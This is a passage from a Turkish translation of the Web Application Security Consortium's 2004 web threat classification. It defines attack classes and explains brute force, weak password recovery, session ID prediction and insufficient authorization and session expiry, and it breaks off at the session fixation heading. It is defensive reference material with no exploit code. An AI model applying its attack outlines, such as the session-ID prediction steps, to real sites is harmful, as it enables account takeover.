bilgiz.org

Web Application Security Consortium




Tarih26.12.2017
Büyüklüğü312.72 Kb.

Indir 312.72 Kb.









Web Application Security Consortium:

Tehdit Sınıflandırması

www.webappsec.org

Versiyon: 1.00

Copyright 2004, Web Application Security Consortium. Bütün haklar saklıdır.



1Açıklama


Web Güvenliği Tehdit Sınıflandırması herhangi bir web sitesinin güvenliğine karşı olabilecek tehditleri açıklamak ve düzenlemek amacıyla elbirliği ile yapılan bir çalışmadır.

“Web Application Security Consortium” üyeleri bu projeyi web güvenliği ile ilgili endüstri standardı terminolojisini geliştirmek ve bu terminolojiye katkıda bulunmak amacıyla gerçekleştirmişlerdir. Bu çalışmayla, uygulama geliştiricileri, güvenlik uzmanları, yazılım üreticileri ve uygunluk denetleyicileri web güvenliği ile ilgili konularda tutarlı bir dile erişme olanağına sahip olacaklardır.


2Hedefler


  • Bilinen tüm web uygulama güvenliği saldırı sınıflarını tespit etme

  • Saldırı sınıflarının isimlendirilmesi konusunda fikir birliğine varma

  • Saldırı sınıflarını düzenlemek için yapısal bir biçim geliştirme

  • Her tür saldırının genel açıklamalarını içeren bir doküman geliştirme

3Dokümantasyon Kullanımı


Web sitelerini tehdit eden güvenlik risklerini daha iyi anlamak ve bu riskleri daha anlaşılır bir şekilde ortaya koymak. Güvenlikle ilgili sorunları uygulama geliştirme anında ortadan kaldırmak için güvenli programlama alışkanlıklarını daha iyiye götürmek. Bir sitenin bilinen tüm tehditlere karşı tasarlanması, geliştirilmesi ve gözden geçirilmesini sağlama adına bir yol haritası oluşturmak. Web güvenliği çözümlerinin sınırlarını belirlemede ve seçimlerinin nasıl yapılacağını anlamada yardımcı olmak.

4İçerik Tablosu


1 Açıklama 1

2 Hedefler 1

3 Dokümantasyon Kullanımı 1

4 İçerik Tablosu 1

5 Genel 3

6 Bilgi Altyapısı 4

7 Katkıda Bulunanlar 4

8 Kontrol Listesi 5

8.1 Kimlik doğrulama 5

8.1.1 Kaba Kuvvet 5

8.1.2 Yetersiz Kimlik Doğrulama 5

8.1.3 Zayıf Parola Kurtarma Denetimi 5

8.2 Yetkilendirme 5

8.2.1 Yetki/Oturum Bilgisi Tahmin Etme 5

8.2.2 Yetersiz Yetkilendirme 5

8.2.3 Yetersiz Oturum Sonlandırma 5

8.2.4 Oturum Belirleme 5

8.3 İstemci Taraflı Saldırılar 5

8.3.1 İçerik Sahteciliği 5

8.3.2 Siteler Ötesi (Arası) Betik Yazma 6

8.4 Komut Çalıştırma 6

8.4.1 Ara Bellek Taşması 6

8.4.2 Dizgi Formatı Saldırısı 6

8.4.3 LDAP Enjeksiyonu 6

8.4.4 İşletim Sistemi Komut Saldırıları 6

8.4.5 SQL Enjeksiyonu 6

8.4.6 SSI Enjeksiyonu 6

8.4.7 XPath Enjeksiyonu 6

8.5 Bilgi Açığa Çıkarma (Bilgi İfşası) 6

8.5.1 Dizin İndeksleme 6

8.5.2 Bilgi Sızması 7

8.5.3 Yol Takibi 7

8.5.4 Tahmin Edilebilir Kaynak Konumu 7

8.6 Mantıksal Saldırılar 7

8.6.1 Fonksiyonelliğin Kötüye Kullanımı 7

8.6.2 Servis Dışı Bırakma 7

8.6.3 Yetersiz Anti-Otomasyon 7

8.6.4 Yetersiz İş Denetimi (Tasdiki) 7

9 Saldırı Sınıfları 7

9.1 Kimlik Doğrulama 7

9.1.1 Kaba Kuvvet Saldırıları 7

9.1.2 Yetersiz Kimlik Doğrulama 8

9.1.3 Zayıf Parola Kurtarma Denetimi 9

9.2 Yetkilendirme 10

9.2.1 Yetki/Oturum Bilgisi Tahmin Etme 10

9.2.2 Yetersiz Yetkilendirme 11

9.2.3 Yetersiz Oturum Sonlandırma 12

9.2.4 Oturum Belirleme 12

9.3 İstemci Taraflı Saldırılar 14

9.3.1 İçerik Sahteciliği 14

9.3.2 Siteler Arası (ötesi) Betik Yazma 16

9.4 Komut Çalıştırma 18

9.4.1 Ara Bellek Taşması 18

9.4.2 Dizgi Formatı Saldırısı 19

9.4.3 LDAP Enjeksiyonu 20

9.4.4 İşletim Sistemi Yönetme 22

9.4.5 SQL Enjeksiyonu 23

9.4.6 SSI Enjeksiyonu 25

9.4.7 Xpath Enjeksiyonu 26

9.5 Bilgi Açığa Çıkarma 27

9.5.1 Dizin İndeksleme 27

9.5.2 Bilgi Sızıntısı 29

9.5.3 Yol Takibi 31

9.5.4 Tahmin Edilebilir Kaynak Konumu 32

9.6 Mantıksal Saldırılar 33

9.6.1 Fonksiyonelliğin Kötüye Kullanımı 33

9.6.2 Servis Dışı Bırakma 35

9.6.3 Yetersiz Anti-otomasyon 36

9.6.4 Yetersiz İş Tasdiki (Denetimi) 36

10 İletişim Bilgileri 37

11 Ek 37

11.1 HTTP Cevap Bölme 37

11.2 Web Sunucusu/Uygulaması Parmak İzi Araştırması 41

12 Çevirenler 51

13 License 51

5Genel


Bir çok organizasyon için web siteleri, günlük çevrimiçi işlemlerde milyonlarca doları doğru bir şekilde işlemesi gereken kritik sistemler olarak hizmet verirler. Bununla birlikte her organizasyon için web sitelerine ayrı ayrı değer biçme ihtiyacı bulunmaktadır.Birşeyin somut ve soyut olarak değerlerini yalnızca parasal rakamlarla ölçmek zordur.
Web güvenliği açıklıkları bir web sitesinin riskini devamlı olarak artırmaktadırlar. Herhangi bir web güvenliği açıklığı tespit edildiğinde, saldırının gerçekleştirilmesi için mevcut bir çok uygulama saldırıları tekniklerinden en az birisinin kullanılması gerekmektedir. Bu teknikler genel olarak saldırı sınıfları ile ilgilidir (güvenlik açıklığından yararlanma şekli). Bu tür saldırıların bir çoğu tanınabilir isimler içermektedir; bellek taşması, SQL enjeksiyonu ve siteler ötesi (arası) betik yazma (ingilizcesi Cross Site Scripting olan bu terim bundan sonra XSS olarak kısaltılacaktır) gibi. Temel olarak, saldırı sınıfı bilgisi, web güvenlik tehdit sınıflandırmasının web sitesine yönelen tehditleri açıklamak ve düzenlemek için kullandığı bir metod olarak düşünülmektedir.
Web güvenliği tehdit sınıflandırması, web siteleri için geçmişte tehdit arzetmiş bilinen saldırı sınıflarını derlemekte ve söz konusu saldırı sınıfları konunun özünü oluşturmaktadır. Her saldırı sınıfı için bir standart isim verilmiş ve bu sınıfların önemli kısımları doküman içinde açıklanmıştır. Her sınıf, esnek bir yapı içinde düzenlenmiştir.

Web güvenliği tehdit sınıflandırmasının oluşturulması uygulama geliştiriciler, güvenlik uzmanları, yazılım üreticileri ve web güvenliği ile ilgilenen diğer herkes için çok önemlidir. Bağımsız güvenlik gözden geçirme metodolojileri, güvenli yazılım geliştirme yol haritaları ve ürün/servislerin gerekleri bu çalışmadan yarar sağlayacaklardır.


6Bilgi Altyapısı


Geçen bir çok yılda, web güvenliği endüstrisi açıklık araştırmalarını açıklayan kafa karıştırıcı ve belirli bir kesime hitap eden düzinelerce terim benimsedi. XSS, parametre kurcalama ve çerez zehirleme gibi terimlere tutarsız isimler verildi ve bu terimlerin kastettiği saldırıların etkilerine farklı anlamlar yüklendi.
Örneğin, bir web sitesi XSS saldırısına karşı korunmasız ise güvenlik açısından bu eksiklik kullanıcıların çerezlerinin çalınmasına yol açabilir. Çerez çalındığı zaman, bu durum herhangi bir kişinin oturum ele geçirmesine ve kullanıcının çevrimiçi hesabının ele geçirilmesine neden olabilir. Açıklıktan yararlanmak için, saldırgan URL (Birörnek Kaynak Konumlayıcı) parametresini değiştirerek girdi manipülasyonu gerçekleştirebilir.
Bu geçmiş saldırı açıklaması kafa karıştırmaktadır ve teknik dilin bütün biçimleri kullanılarak ilgili açıklama yapılabilir. Bu kompleks ve değişken kelime haznesi açık forumlardaki ana konularda fikir birliğine varmış katılımcılar arasında bile düş kırıklığına ve anlaşmazlığa neden olmaktadır.
Yıllar boyunca, bu gibi konuları iyi belgelemiş, standartlaşmış, tam ve doğru şekilde ele alan kaynaklar oluşturulmamıştır. Bu çalışmamızda bir çok kitaptan, düzinelerce beyaz makalelerden ve yüzlerce sunumdan elde edilen bilgilere dayanılmıştır.
Web güvenliği üzerinde çalışmaya yeni başlayan kişiler standart bir dilin olmamasından dolayı konu içinde çok çabuk boğulmakta ve bu kişilerin kafası çok kolay karışmaktadır.Bu kafa karışıklıkları, web güvenliği alanında yapılacakların netliğini bozmakta ve bu alandaki gelişmeleri yavaşlatmaktadır. Web’in güvenliğini artırmaya devam ettikçe web güvenliği konularını tartışmak için resmi ve standartlaşmış yaklaşımlara ihtiyacımız oluşmaktadır.

7Katkıda Bulunanlar


Robert Auger - SPI Dynamics

Ryan Barnett - Center for Internet Security (Apache Projesi Lideri)

Yuval Ben-Itzhak - Şahıs

Erik Caso - NT OBJECTives

Cesar Cerrudo - Application Security Inc.

Sacha Faust - SPI Dynamics

JD Glaser - NT OBJECTives

Jeremiah Grossman - WhiteHat Security

Sverre H. Huseby - Şahıs

Amit Klein - Sanctum

Mitja Kolsek - Acros Security

Aaron C. Newman - Application Security Inc.

Steve Orrin - Sanctum

Bill Pennington - WhiteHat Security

Ray Pompon - Conjungi Networks

Mike Shema - NT OBJECTives

Ory Segal - Sanctum

Caleb Sima - SPI Dynamics


8Kontrol Listesi

8.1Kimlik doğrulama

8.1.1Kaba Kuvvet


Kaba kuvvet saldırısı, kişilerin kullanıcı ismilerinin, parolalarının, kredi kart numaralarının veya kriptografik anahtarlarının tahmin edilmesi için kullanılan otomatik bir deneme yanılma işlemidir.

8.1.2Yetersiz Kimlik Doğrulama


Yetersiz kimlik doğrulama, bir web sitesinin saldırgana uygun bir kimlik doğrulama gerçekleştirmeden hassas bilgi içeriğine ya da fonksiyona erişim izni vermesiyle gerçekleşir.

8.1.3Zayıf Parola Kurtarma Denetimi


Zayıf parola kurtarma denetimi (bu terimde zayıf olan parola değidir, parola kurtarma denetimidir.), bir web sitesinin saldırganın illegal olarak bir başkasının parolasını ele geçirmesine, değiştirmesine veya kurtarmasına izin verdiği durumdur.

8.2Yetkilendirme

8.2.1Yetki/Oturum Bilgisi Tahmin Etme


Yetki/oturum bilgisi tahmin etme, bir web sitesi kullanıcısını taklit etme (kullanıcının rolüne girme) veya web sitesi kullanıcı korsanlığı metodudur.

8.2.2Yetersiz Yetkilendirme


Yetersiz yetkilendirme, bir web sitesinin arttırılmış erişim kontrol kısıtlamaları gereken hassas bilgi içeriğine ya da fonksiyonlarına erişim izni vermesidir.

8.2.3Yetersiz Oturum Sonlandırma


Yetersiz oturum sonlandırma, web sitesinin yetkilendirme için kullandığı eski oturum kimlik bilgisi veya numarasını saldırgana tekrar kullanma imkanı vermesidir.

8.2.4Oturum Belirleme


Oturum belirleme, kullanıcıyı bilinen bir değerdeki oturum numarasını kullanmaya zorlayan saldırı tekniğidir.

8.3İstemci Taraflı Saldırılar

8.3.1İçerik Sahteciliği


İçerik sahteciliği, bir kullanıcının bir web sitesindeki belirli içeriğin meşru olduğuna ve bu içeriğin harici bir kaynağa ait olmadığına inandırılmasını sağlayan bir saldırı tekniğidir.

8.3.2Siteler Ötesi (Arası) Betik Yazma


Siteler ötesi (arası) betik yazma (XSS) , web sitesinin saldırgan tarafından belirlenen çalıştırılabilir kodu normal bir kullanıcıya göndermesi ve bu kodun kullanıcı web tarayıcısına yüklenerek çalışmasıyla gerçekleşen bir saldırı çeşididir.

8.4Komut Çalıştırma

8.4.1Ara Bellek Taşması


Ara bellek taşması saldırıları, bir uygulamanın akışını, hafızanın belirli kısımlarının üzerine yazılarak değiştirmesiyle gerçekleşen saldırılardır.

8.4.2Dizgi Formatı Saldırısı


Dizgi formatı saldırıları, uygulamaya ayrılmış hafıza alanlarına dizgi formatlama kütüphanelerinin özellikleri yardımıyla erişerek söz konusu uygulamanın akışını değiştiren saldırılardır.

8.4.3LDAP Enjeksiyonu


LDAP Enjeksiyonu, kullanıcıların sağladığı bilgi girdilerinden LDAP ifadeleri (komutları) oluşturan web sitelerini istismar etmek için kullanılan bir saldırı metodudur.

8.4.4İşletim Sistemi Komut Saldırıları


İşletim sistemi komut saldırısı, uygulama girdilerinin manupilasyonu ile işletim sistemi komutlarının çalıştırılarak web sitelerinin istismar edilmesini sağlayan bir saldırı metodudur.

8.4.5SQL Enjeksiyonu


SQL Enjeksiyonu, kullanıcıların sağladığı bilgi girdilerinden SQL ifadeleri (komutları) oluşturan web sitelerini istismar etmek için kullanılan bir saldırı metodudur.

8.4.6SSI Enjeksiyonu


SSI Enjeksiyonu (Server-side Include), saldırganın web uygulamasına kod göndermesine ve bu kodun web sunucuda lokal olarak çalışmasına neden olan, sunucu taraflı istismar etme metodudur.

8.4.7XPath Enjeksiyonu


XPath enjeksiyonu, kullanıcıların sağladığı bilgi girdilerinden XPath sorguları oluşturan web sitelerini istismar etmek için kullanılan bir saldırı metodudur.

8.5Bilgi Açığa Çıkarma (Bilgi İfşası)

8.5.1Dizin İndeksleme


Otomatik dizin listeleme/indeksleme, ana sayfanın, mevcut olmadığı durumlarda talep edilen dizinindeki tüm dosyaları listeleyen bir web sunucu fonksiyonudur.

8.5.2Bilgi Sızması


Bilgi sızması, saldırgana sistemi istismar etmede yardım edebilecek yazılım geliştirici yorumları ve hata mesajları gibi hassas bilgilerin web sitesinde açığa vurulmasıdır.

8.5.3Yol Takibi


Yol takibi, web sunucusu ana dizini dışında bulunan dosyalara, dizinlere ve komutlara erişimi sağlayan bir saldırı metodudur.

8.5.4Tahmin Edilebilir Kaynak Konumu


Tahmin edilebilir kaynak konumu, gizlenmiş web sitesi içeriğini ve fonksiyonlarını ortaya çıkarmak için kullanılan bir saldırı metodudur.

8.6Mantıksal Saldırılar

8.6.1Fonksiyonelliğin Kötüye Kullanımı


Fonksiyonelliğin kötüye kullanımı, web sitesinin kendi özelliklerinin ve fonksiyonlarının erişim kontrol mekanizmalarının kaynaklarını tüketme veya bu mekanizmaları atlatmak amacıyla kullanılmasını sağlayan saldırı metodudur.

8.6.2Servis Dışı Bırakma


Servis dışı bırakma, web sitelerinin normal kullanıcılara verdiği hizmeti engellemek adına gerçekleştirilen saldırı metodudur.

8.6.3Yetersiz Anti-Otomasyon


Yetersiz anti-otomasyon, web sitesinin sadece elle gerçekleştirilebilmesi gereken bir işlemin saldırgan tarafından otomatik olarak yapılabilmesine izin vermesi durumudur.

8.6.4Yetersiz İş Denetimi (Tasdiki)


Yetersiz iş tasdiki, web sitesinin hedeflenen uygulama akışı kontrolünü atlatmaya izin vermesi durumudur.

9Saldırı Sınıfları

9.1Kimlik Doğrulama


Kimlik doğrulama bölümü, web sitesinin kullanıcı, servis veya uygulama kimliğini onaylayan metodunu hedef alan saldırıları kapsar. Kimlik doğrulaması en az şu üç mekanizmaların biriyle gerçekleştirilir: “sahip olduğunuz bir nesne”, “bildiğiniz bir bilgi” veya “sahip olduğunuz bir özellik”. Bu bölüm web sitesinin kimlik doğrulama mekanizmasını atlatmak veya istismar etmek için kullanılan saldırıları ele almaktadır.

9.1.1Kaba Kuvvet Saldırıları


Kaba kuvvet saldırısı, bir kişinin kullanıcı ismininin, parolasının, kredi kart numaralarının veya kriptografik anahtarlarının birer birer tahmin edilmesi için kullanılan otomatik bir deneme yanılma işlemidir.
Bir çok sistem, zayıf parola ve kriptografik anahtar kullanılmasına izin vermektedir. Kullanıcılar sözlüklerde yer alma ihtimali olan kolay hatırlanabilir parolalar seçmektedirler. Saldırgan sözlükler üzerinden kelime kelime geçer, sistem üzerinde binlerce, milyonlarca tahmin üreterek geçerli bir parola bulmaya çalışır. Tahmin edilen parola sisteme erişime izin verdiğinde, kaba kuvvet saldırısı başarılı olmuş bulunmaktadır ve saldırgan ilgili hesaba artık erişebilmektedir.
Aynı deneme ve yanılma tekniği şifreleme anahtarlarının tahmini için de uygulanabilmektedir. Web sitesi zayıf ve kısa bir anahtar kullandığında, saldırganın bütün olası anahtarları deneyerek doğru anahtarı tahmin etmesi mümkündür.
Gerçekte iki çeşit kaba kuvvet saldırısı mevcuttur, normal kaba kuvvet ve ters kaba kuvvet. Normal kaba kuvvet saldırısı, bir tek kullanıcı ismini bir çok parola için kullanır. Ters kaba kuvvet saldırısı ise bir çok kullanıcı ismini bir parola için kullanır. Milyonlarca kullanıcı hesabına sahip sistemlerde, birden çok kullanıcının aynı parolaya sahip olması olasılığı çarpıcı bir şekilde artmaktadır. Kaba kuvvet saldırı teknikleri çok popüler olup çoğunlukla başarılı olurlar fakat bu saldırılar saatler, haftalar veya yıllar gerektirebilir.
Örnek

Kullanıcı İsmi = Jon

Parolalar = smith, michael-jordan, [hayvan isimleri], [doğum tarihleri], [araba isimleri],
Kullanıcı isimleri = Jon, Dan, Ed, Sara, Barbara, .....

Parola = 12345678


Referanslar

“Brute Force Attack”, Imperva Glossary

http://www.imperva.com/application_defense_center/glossary/brute_force.html
“iDefense: Brute-Force Exploitation of Web Application Session ID’s”, By David Endler - iDEFENSE Labs

http://www.cgisecurity.com/lib/SessionIDs.pdf


9.1.2Yetersiz Kimlik Doğrulama


Yetersiz kimlik doğrulama, bir web sitesinin saldırgana uygun bir kimlik doğrulama gerçekleştirmeden hassas içeriğe ya da fonksiyonlara erişim izni vermesiyle gerçekleşir.
Web tabanlı yönetim araçları hassas fonksiyonlara erişim sağlayan web sitelerine iyi birer örnektir. Kaynağına göre web uygulamalarına kullanıcıların tam olarak kimlikleri onaylanmadan direk olarak erişilmemelidir.
Kimlik doğrulamanın daha iyi yapılabilmesi maksadıyla bazı kaynakların belli adres bilgilerinin gizlenmesi ve söz konusu adres bilgilerinin ana web sitesiyle ya da diğer genel adresler ile herhangi bir bağlantısının olmaması söz konusu olmaktadır. Buna rağmen, bu yaklaşım “belirsizlik (gizlemek) yoluyla güvenlik” metodundan başka bir şey değildir.
Bir kaynak saldırgan tarafından bilinmiyorsa bile belirli bir URL adresi ile bu kaynağa erişilebilir. URL adresi, yaygın kullanılan dosya ve dizin konumlarında (örneğin /admin), hata mesajlarında, kayıtlarda veya yardım dosyalarında kaba kuvvet yöntemiyle araştırılarak bulunabilir. Sözü edilen bu kaynaklar eğer içerik veya fonksiyonel olarak gerekli ise uygun bir şekilde korunmalıdır.
Örnek

Bir çok web uygulaması, ana dizin dışında (/admin) başka dizinlere kurulmuştur ve bazı yönetici fonksiyonlarına göre tasarlanmıştır. Bu dizinden web sitenin herhangi bir yerine hiç bir zaman link kurulmamıştır fakat söz konusu dizine standart bir web tarayıcısı ile erişmek hala mümkündür. Uygulamayı geliştiren kişi, web sayfasına herhangi bir link oluşturulmadığı ve herhangi bir kullanıcının da bu web sitesini görmesini beklemediği için söz konusu sayfaya kimlik doğrulama fonksiyonu eklemeyi çoğu zaman gözden kaçırmaktadır. Eğer saldırgan basit bir şekilde bu web sayfasını ziyaret edecek olursa, web sitesine tüm yönetici yetkileri ile erişme yetkisi kazanacaktır.


9.1.3Zayıf Parola Kurtarma Denetimi


Zayıf parola kurtarma denetimi, bir web sitesinin saldırganın illegal olarak bir başkasının parolasını ele geçirmesine, değiştirmesine veya kurtarmasına izin verdiği durumdur. Geleneksel web sitesi kimlik doğrulama metodları kullanıcıların bir parola ya da anahtar parolası (güvenlik kodu) seçmelerini ve bu bilgileri hatırlamalarını gerektirir. Söz konusu parolayı sadece sahibi olan kullanıcı bilmeli ve parola tam olarak hatılanmalıdır.
Zaman geçtikçe kullanıcının parolayı hatırlayabilmesi zorlaşır. Normal bir kullanıcı parola gerektiren 20 web sitesi ziyaret ediyorsa hatırlama sorunu daha da artar. (RSA İncelemesi: http://news.bbc.co.uk/1/hi/technology/3639679.stm)
Bu sebepten dolayı, parola kurtarma fonksiyonu çevrimiçi servis veren sistemlerin önemli bir parçası olmuştur.
Örnek otomatik parola geri elde etme işlemleri, kullanıcının kayıt olma işleminde belirlediği gizli soruya cevap vermeyi gerektirmektedir. Bu soru verilen soru listesinden seçilir ya da kullanıcı tarafından belirlenir. Kullanılan başka bir mekanizma ise kullanıcının parolayı hatırlaması için kayıt olma işlemi sırasında belirlenen bir yardım bilgisini kullanıcıya sunmasıdır. Diğer mekanizmalar, kullanıcının kimliğini doğrulamak için sosyal güvenlik numarası, ev adresi, zip kodu v.b gibi kişisel bilgilerin girilmesini gerektirmektedir. Kullanıcının kim olduğunu kanıtlamasından sonra sistem yeni parolayı kullanıcıya gösterir ya da e-posta yolu ile gönderir.

Saldırgan parola kurtarma mekanizmasını yanıltabiliyorsa, web sitesi zayıf bir parola kurtarma mekanizmasına sahip demektir. Parolayı kurtarma işlemi sırasında kullanıcının kimliğini onaylamak için gereken bilgi tahmin edilebiliyorsa veya bu bilgi isteme işlemi atlatılabiliyorsa bu durum oluşur. Parola geri kurtarma sistemleri kaba kuvvet saldırıları, sistem açıklıkları ve kolay tahmin edilebilir gizli sorular kullanılarak istismar edilir.


Örnek

(Zayıf parola geri elde etme metodları)




  • Bilgi Onaylama

Bir çok web sitesi, kullanıcılardan sadece e-posta adresi, ev adresi ve telefon numarası bilgilerini isterler. Bu bilgiler bir çok çevrimiçi beyaz sayfalardan elde edilebilir. Sonuç olarak onaylama bilgisi çok gizli değildir. Ayrıca söz konusu bilgiler XSS ve balık tutma saldırıları gibi diğer metodlarla da elde edilebilir.




  • Parola İmaları

Kullanıcıya parola hatırlatmak için parola ipuçları kullanan web siteleri ipuçlarının kaba kuvvet saldırılarını kolaylaştırabilmesi sebebiyle rahatlıkla saldırılara maruz kalabilir. Kullanıcı iyi bir parola olan "122277King" ve parola ipucu olan "bday+fav author" kullanabilir. Bu durumda saldırgan parola ipucundan kullanıcının parolasının kullanıcının doğum günü ve favori yazarının birleşimi olduğunu çıkarabilir. Elde edilen bu bilgi, sözlük kaba kuvvet saldırısının parolayı tahmin etmede başarılı olma ihtimalini çok büyük miktarda artırır.




  • Gizli Soru ve Cevap

Kullanıcının parolası “Richmond” ve gizli soru da “Nerede doğdunuz” sorusu olabilir. Saldırgan kaba kuvvet saldırısını şehir isimlerine yoğunlaştırır. Bunun yanında saldırgan hedef kullanıcı hakkında az bir bilgi biliyorsa doğum yerini öğrenme kolay bir iş haline gelir.


Referanslar

“Protecting Secret Keys with Personal Entropy”, By Carl Ellison, C. Hall, R. Milbert, and B. Schneier

http://www.schneier.com/paper-personal-entropy.html
“Emergency Key Recovery without Third Parties”, Carl Ellison

http://theworld.com/~cme/html/rump96.html


9.2Yetkilendirme


Yetkilendirme bölümü, bir web sitesinin kullanıcı, servis veya uygulamanın istenen bir işlemi gerçekleştirmesi için gereken izinleri belirlemek için kullandığı metodları hedef alan saldırıları kapsamaktadır. Örnek olarak, bir çok web sitesi belirli kullanıcıların belirli içeriğe ve fonksiyonlara erişimine izni vermelidir. Diğer zamanlarda kullanıcının diğer kaynaklara erişimi kısıtlanmalıdır. Saldırgan, web sitesinin korunan alanlarındaki haklarını değişik saldırı teknikleri yardımıyla artırarak web sitesini kandırabilir.

9.2.1Yetki/Oturum Bilgisi Tahmin Etme


Yetki/oturum bilgisi tahmin etme, Web sitesi kullanıcısının rolüne girme veya söz konusu kullanıcının oturumunun ele geçirilmesi metodudur.
Belirli bir oturumun veya kullanıcının tanınmasını ve diğerlerinden ayırt edilmesini sağlayan bir bilginin elde edilmesi ya da tahmin edilmesi söz konusu saldırıyı başarılı kılar. Oturumun ele geçirilmesi olarak da bilinen metodun kullanılmasıyla saldırganlar istismar edilen kullanıcının hakları ile web sitesine istek gönderebilirler.
Bir çok web sitesi, iletişimin kurulmasından sonra kullanıcının kimliğinin doğrulanmasını sağlamak ve takibini yapmak için tasarlanmıştır. Bunu gerçekleştirmek için kullanıcılar kendi kimliklerini kullanıcı ismi ve parola bilgilerini girerek onaylatırlar. Bu gizli yetki bilgilerinin her işlemde web sitesine gidip gelmesi yerine web siteleri tek bir oturum numarası üreterek kullanıcı oturumunun kimliğinin doğrulandığını takip eder. Web sitesi ile kullanıcı arasındaki sonraki iletişimlere, üretilen bu oturum numarası eklenerek oturumun kimliğinin doğrulandığına dair kanıt oluşturulur. Eğer saldırgan bir başkasının oturum numarasını tahmin ederse hileli bir işlem gerçekleştirebilir.
Örnek

Bir çok web sitesi tescilli algoritmalar kullanarak oturum numarası üretirler. Bu geleneksel metodolojiler statik sayıları artırarak oturum numarası oluşturabilirler veya zaman ve diğer bilgisayara özel değişkenler kullanarak daha karmaşık prosedürler kullanılabilirler.

Oturum numarası bir çerez, gizli form alanı veya URL içerisinde depolanabilir. Eğer saldırgan oturum numarası üreten algoritmayı belirleyebilirse, aşağıdaki şekillerdeki gibi saldırılar oluşturulabilir:


  • Saldırgan web uygulamasına bağlanarak halihazırdaki oturum numarasını elde eder,

  • Saldırgan bir sonraki oturum numarasını direk hesaplar ya da kaba kuvvet saldırısı ile tespit eder,

  • Saldırgan halihazırdaki değeri (çerezdeki, gizli form alanındaki veya URL'deki) değiştirerek bir sonraki kullanıcının kimliğini ele geçirir.


Referanslar

“iDefense: Brute-Force Exploitation of Web Application Session ID’s”, By David Endler - iDEFENSE Labs

http://www.cgisecurity.com/lib/SessionIDs.pdf
“Best Practices in Managing HTTP-Based Client Sessions”, Gunter Ollmann - X-Force Security Assessment Services EMEA

http://www.itsecurity.com/papers/iss9.htm


"A Guide to Web Authentication Alternatives", Jan Wolter

http://www.unixpapa.com/auth/homebuilt.html


9.2.2Yetersiz Yetkilendirme


Yetersiz yetkilendirme, web sitesinin daha geniş erişim kontrol kısıtlamaları gereken hassas bilgi içeriğine ya da fonksiyonlarına erişime izin vermesidir. Kullanıcı bir web sitesine erişim hakkı kazandığında bu, kullanıcıya sitenin ille de tüm içeriğine veya fonksiyonlarına erişmesine izin verildiği anlamına gelmez.
Bir kullanıcının, servisin veya uygulamanın yapmasına izin verilen işlemlerin ne olduğunu belirleyen yetkilendirme prosedürleri kimlik doğrulama işleminden sonra belirlenir. İyi belirlenmiş kısıtlamalar mevcut politikaya göre web sitesinin aktivitelerini yönetmelidir. Web sitesinin hassas kısımları sistem yöneticileri dışındaki herkese kısıtlanmalıdır.
Örnek

Geçmişte, bir çok web sitesi, yönetici işlemleri ile ilgili içeriği ve/veya yönetici fonksiyonlarını ‘/admin’ veya ‘/logs’ gibi gizli dizinler içinde depolamaktaydı. Eğer saldırgan bu dizinlere direk olarak erişim talebinde bulunursa, erişime izin veriliyordu. Böylece saldırgan web sunucusunu yeniden konfigüre etme, hassas bilgiye erişme ve web sitesini istismar etme imkanına sahip oluyordu.


Referanslar

“Brute Force Attack”, Imperva Glossary

http://www.imperva.com/application_defense_center/glossary/brute_force.html
“iDefense: Brute-Force Exploitation of Web Application Session ID’s”, By David Endler - iDEFENSE Labs

http://www.cgisecurity.com/lib/SessionIDs.pdf


9.2.3Yetersiz Oturum Sonlandırma


Yetersiz oturum sonlandırma, web sitesinin saldırgana yetkilendirme için kullanılan eski oturum kimlik bilgisini veya bilgilerini tekrar kullanma imkanı vermesidir.
Yetersiz oturum sonlandırma, web sitesinin başkalarının yerine geçme ya da başkalarının erişim haklarını elde etme amacıyla yapılan saldırılara olan korunmasızlığını artırır.

HTTP durum bilgisi tutmayan bir protokol olduğundan, web siteleri çoğunlukla kullanıcıların isteklerini birbirinden ayırt edebilmek için oturum bilgileri kullanmaktadırlar. Bu nedenle birden çok kullanıcının aynı kullanıcı hesabına erişmesini engellemek için oturum numaralarının gizliliğinin sağlanması gerekmektedir. Çalınan oturum numarası bir başkasının kullanıcı hesabını gözlemlemek veya sahte bir işlem yapmak adına kullanılabilir.


Yeterli oturum sonlandırma işleminin yapılmaması, belirli saldırılarının başarı şansını artırabilir. Örneğin, saldırgan bir oturum bilgisini muhtemel bir ağ dinleyicisi ya da XSS saldırısı ile elde edebilir. Çalınan oturum bilgisinin hemen kullanıldığı zamanlarda kısa zamanlı oturum sonlandırma işlemleri çok yardımcı olmasa da, sonlandırma anında devam eden oturum bilgisini tekrar kullanma saldırılarını engeller. Başka bir saldırı senaryosunda, kullanıcı paylaşılan bir bilgisayardan (kütüphane, internet kafe veya herkese açık iş ortamlarında bulunan bilgisayarlar gibi) herhangi bir web sitesine erişebilir. Yetersiz oturum sonlandırma, saldırganın web tarayıcısının geri düğmesine basarak daha önce kurban tarafından girilmiş web sitelerine erişmesine neden olur. Uzun sonlandırma zamanları, saldırganın geçerli bir oturum numarasını başarı ile tahmin edebilme olasılığını artırmaktadır. Uzun süreli sonlandırma zamanları, aynı anda bulunan açık oturum sayısının artmasını ve dolayısıyla saldırganın tahmin hedefini daha büyük sayıda oturum bilgisi içeren bir bilgi havuzuna yönlendirmesini sağlar.
Örnek

Paylaşılan bilgisayar ortamlarında (birden fazla kişinin bir bilgisayara sınırsız olarak fiziksel erişim sağlayabildiği durum), yetersiz oturum sonlandırma bir başkasının web aktivitelerini gözlemleme amacıyla istismar edilebilir. Eğer bir sitenin oturum kapama fonksiyonu, kurbanı oturum sonlandırmadan sitenin ana sayfasına gönderiyorsa, başka bir kullanıcı web tarayıcısının eski sayfalarına ulaşır ve kurban tarafından erişilen sayfaları görebilir. Kurbanın oturum bilgisi sonlandırılmadığından, saldırgan kurbanın oturumunu sisteme herhangi bir kimlik doğrulama bilgisi sunmadan gözlemleyebilir.


Referanslar

“Dos and Don’ts of Client Authentication on the Web”, Kevin Fu, Emil Sit, Kendra Smith, Nick Feamster - MIT Laboratory for Computer Science

http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf

9.2.4Oturum Belirleme


